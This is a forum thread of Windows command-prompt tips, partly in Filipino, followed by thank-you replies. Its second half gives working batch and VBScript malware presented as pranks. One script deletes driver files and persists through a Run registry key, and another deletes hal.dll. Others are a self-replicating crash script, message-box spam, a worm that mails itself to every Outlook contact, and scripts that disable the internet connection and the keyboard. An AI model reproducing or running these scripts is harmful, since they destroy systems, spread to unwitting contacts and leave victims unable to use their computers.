1. Welcome to PHCorner Forums. Take a moment to Sign up and gain unlimited access and extra privileges that guests are not entitled to, such as:

    All that and more! Registration is quick, simple and absolutely free. Join our community today!

Tutorial CMD Tips n Tricks1 [SIMPLE]

Discussion in 'Windows Tools & Tips' started by HaxxorLove, Nov 11, 2015.

  1. CMD Tips and Tricks

    How to Know If Someone Hacks On Your Wi-Fi Connection?

    Open cmd as administrator (Right click on cmd and select 'run as administrator')

    1) Find the computer name, IP address and MAC Address of your computer by typing: ipconfig/all

    then press Enter.

    2) Open your browser and visit Please or Register to view links or Please or Register to view links depending on your router.

    3) Find the tab that mentions Attached Devices or something similar.

    4) Compare it with those displayed by your router in Step 1. If you notice some strange devices, then someone is using your Wi-Fi so set up or change your password accordingly.

    How to Solve Folders Showing as Shortcuts, Hidden in USB/Memory-Card/HDD?

    1) Open cmd as administrator (Right click on cmd and select 'run as administrator')

    2) Type the following: attrib -h -s -r -a /s /d drive_letter:\*.*

    and hit Enter.

    Be sure you've typed the drive letter (e.g. j:, h: or D:) instead of "drive_letter" in the command line.

    Example: attrib -h -s -r -a /s /d D:\*.*

    How to run a sfc scan?

    Does your computer hangs frequently? Frustrated by your slow PC or facing system errors.

    Here is a quick tool to check your windows file functionality and replace them:

    Sfc / scannow will inspect all of the important Windows files on your computer, including Windows DLL files.

    If System File Checker finds an issue with any of these protected files, it will replace it.

    1) Open Command Prompt as an administrator (Right click on cmd 'Run as Administrator')

    2) Once Command Prompt is open, type the following command: sfc /scannow

    and then press Enter.

    Note: There's a space between sfc and /scannow

    How to track an ip address?

    1) Open cmd and type: ping Please or Register to view links

    You can change the name of the website if you want, then press Enter.

    2) Once you are done with step 1 it shows you pinging (the specified website ) [ ip number of the website ]

    For example with yahoo it says Pinging ds-sg-fp3.wg1.b.yahoo.com []

    Copy the IP Address of the website like

    3) Open Please or Register to view links and paste the above IP Address in the look up ip address bar.

    You can get Address information, Related IP Addresses, Local IP addresses / Proxy, IP owner info (Whois), Domain owner info (Whois / Abuse), Conversions (IPv4 / IPv6) etc.

    How to make an undeletable, un-renamable folder?

    Create folders in their system that they can't delete.

    Here are the steps:

    Basically you can name the folders only with any of the following names:

    con, aux, lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8 and lpt9.

    1) Click on Start.

    2) Click on Run. Type-in: cmd

    3) In the Command Prompt Window that opens, type the name of the drive you wish to create your folder in the format <drive-name>: and press Enter.

    Example: If you wish to create an undeletable folder in D drive, type: D:

    Note that the folder cannot be created in the root of C:/ drive (if C: is your system drive).

    Now type this command:

    md con\ or md lpt1\

    Then press Enter.

    You can choose any of the keywords given above as the name of your folder.

    Note: Although it is not possible to manually delete the folder, you can delete the folder by typing rd con\ or rd lpt1\ in Step 4 instead of md con\ or md lpt1\

    How to Watch Star Wars môviê?

    An amazing command prompt môviê. But you need an active internet connection to enjoy this môviê.

    1) Go to Start > Run and type in cmd

    2) You will see the command prompt window. Now type-in this command line:

    telnet towel.blinkenlights.nl

    Then hit Enter.

    Now enjoy watching the Star Wars môviê.

    How to Hide Data behind Any File?

    This is a little bit cool. Hide data behind any image.

    Yup, you can also hide your personal data behind any image just follow this steps:

    Requirements: Compressed File of Your Data, an Image.

    1) Type the following command in cmd:

    copy/b image_name.jpg+personal_data.rar new_img.jpg

    2) All your data will be copied in new_img.jpg file (Now you can delete old images and personal datas).

    Look the size of your new_img is it normal? No, this is combined size of both files.

    Now How to extract this data?

    Just type the following command:

    copy/b new_img.jpg any_newname.rar

    Your data will be copied in any_newname.rar file.

    Nandito na Tayo Sa Masayang Bahagi

    Note: Kinakailangan marunong kayoing gumawa ng Batch File, Ok? At please lang HUWAG ninyong gawin ito sa sarili ninyong computer, or kahit na kaninong computer kasi talagang delikado na ang mga nilalaman sa ibaba.

    Making a Batch File

    So, in order to input the code described below, you actually need a place where to put it. For Batch, you can use the command prompt by going to start>run>cmd.exe, or making a .bat file in Notepad.

    Make sure to save it as All Files and with a .bat extension.

    Blue Screen of Death

    Tama kayo, ito ang magti-trigger para lumabas ang sikat na Blue Screen of Death (BSOD)


    @ echo off

    rem ---------------------------------

    rem Activate Blue Screen Of Death

    @((( Echo Off > Nul ) & Break Off )

    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run

    reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul

    del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"


    rem ---------------------------------

    Spam with MSGBox

    Eto naman ay mga spam sa desktop kung saan may ilang windows na biglang susulpot kapag in-X.

    Using msgbox.


    @ echo off

    rem ---------------------------------

    rem Spam With VBScript Msgboxes

    echo Do>>msgbox.vbs

    echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs

    echo Loop>>msgbox.vbs

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    start "" "msgbox.vbs"

    rem ---------------------------------

    Disable Computer

    Hindi na kailangan ipaliwanag ito. Title pa lang.

    Binubura nito ang hal.dll para i-disable ang computer.


    @ echo off

    rem ---------------------------------

    rem Disable Computer By Deleting hal.dll

    del /f /q %SystemDrive%\WINDOWS\system32\hal.dll

    rem ---------------------------------

    Crash Computer

    Alam na this.


    @ echo off

    rem ---------------------------------

    rem Crash Computer

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    echo start "" %0>>crash.bat

    start "" crash.bat

    rem ---------------------------------

    Internet Infection

    Kung maaari ay HUWAG ninyong gawin ito kasi pwede kayong makulong kapag nahuli kayo.

    Tandaan, ang code nito ay ipapadala nya ang entire virus file nya sa LAHAT ng computers contacts in Microsoft Outlook as an e-mail attachment. Inuulit ko DELIKADO talaga ito, at delikad rin ang lagay ninyo.



    @ echo off

    rem ---------------------------------

    rem Spread Via Outlook Contact Book

    echo dim x>>%SystemDrive%\mail.vbs

    echo on error resume next>>%SystemDrive%\mail.vbs

    echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs

    echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs

    echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs

    echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs

    echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs

    echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs

    echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs

    echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs

    echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs

    echo Set Mail=ci>>%SystemDrive%\mail.vbs

    echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs

    echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs

    echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs

    echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs

    echo Mail.send>>%SystemDrive%\mail.vbs

    echo Next>>%SystemDrive%\mail.vbs

    echo ol.Quit>>%SystemDrive%\mail.vbs

    start "" "%SystemDrive%\mail.vbs"

    rem ---------------------------------

    Disable Internet Connection

    Hindi na siguro kailangan ipaliwanag pa kung ano ginagawa nyan.


    rem ---------------------------------

    rem Disable Internet

    echo off & @@Break Off

    Ipconfig /release

    %jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!

    P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%

    Disable keyboard


    rem ---------------------------------

    rem Disable Keyboard

    echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"

    echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"

    echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"

    echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"

    echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"

    echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"

    echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"

    echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"

    echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"

    echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"

    echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"

    echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"

    echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"

    echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"

    echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"

    echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"

    echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"

    echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"

    echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"

    echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"

    echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"

    echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"

    echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"

    start "nokeyboard.reg"

    rem ---------------------------------

    That’s it! Have some fun!
    mylabs26, mauzkie, Redhut2139 and 9 others like this.
  2. Thank you very much for sharing your idea here in phcorner. This thing is great.
  3. EARZE

    EARZE PHC Contributor Established

    thanks for sharing..
  4. thanks for sharing boss! may mga known na ako na tricks dito (y)
  5. salamat sa pagshare boss :D (y)
  6. thanks for sharing bossing(y)
  7. Thanks for sharing :)
  8. henjie

    henjie Forum Expert Established

    Thank you and keep sharing bos
  9. rekai12

    rekai12 Journeyman Established

  10. rappogi456

    rappogi456 Addict Established

    Thanks for sharing ts more power :)
  11. dam1433

    dam1433 Honorary Poster Established

    maraming salamat sir
  12. meask

    meask Addict Established

    astig to ts :D
  13. salamat boss may natutunan nanaman ako :DD
  14. Jaymark123

    Jaymark123 Forum Guru Established

  15. boss paano ba ayosin to, gusto ko sana palitan yong OS ko na windows 8 to windows XP kaso nung einstall ko hal.dll yong error, try to reinstall the above file, yon po nakatatak, usb bootable gamit ko, sana matulongan mo ako, salamat marami. . .
Tags / Keywords:

Share This Page